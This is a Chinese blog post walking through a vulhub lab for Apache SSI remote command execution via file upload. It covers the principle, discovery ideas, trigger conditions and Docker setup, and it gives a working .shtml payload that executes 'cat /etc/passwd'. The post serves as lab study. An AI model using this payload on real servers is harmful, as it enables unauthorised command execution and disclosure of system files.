0
点赞
收藏
分享

微信扫一扫

vulhub漏洞系列:文件上传 - Apache SSI远程命令执行

RIOChing 2022-01-16 阅读 45

目录

一、漏洞原理

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php / jsp / asp后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用 语法执行任意命令。

二、漏洞场景/挖掘思路

  1. 业务场景Fuzz,比如获取IP、定位、时间等
  2. 识别页面是否包含.stm、.shtm和.shtml后缀
  3. 一些业务中,用户输入内容会展现在在页面中(一个存在反射性xss漏洞页面,输入的payload不是xss代码而是SSI标签,同时服务器又开启了对SSI支持就会利用xss远程执行命令)

三、触发条件

当符合以下条件时,攻击者可以在Web服务器上运行任意命令:

  • Web服务器为Apache和IIS(支持SSI功能的服务器)
  • 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
  • Web应用程序在返回响应的HTML页面时,嵌入用户输入
  • 未对输入的参数值进行输入过滤

四、漏洞复现

这里使用的是vulhub的靶场

启动服务

cd vulhub/httpd/ssi-rce

这里路径对应自己的安装路径

编译并运行环境

docker-compose   up -d

访问环境

http://<vul’s ip>:8080/upload.php

我们随便上传一个文件探一下服务器是否为Apache
在这里插入图片描述
我们上传一个poc文件 ,后缀为.shtml

<!--#exec cmd="cat /etc/passwd"-->

浏览器访问上传的文件成功执行命令
在这里插入图片描述

举报

相关推荐

0 条评论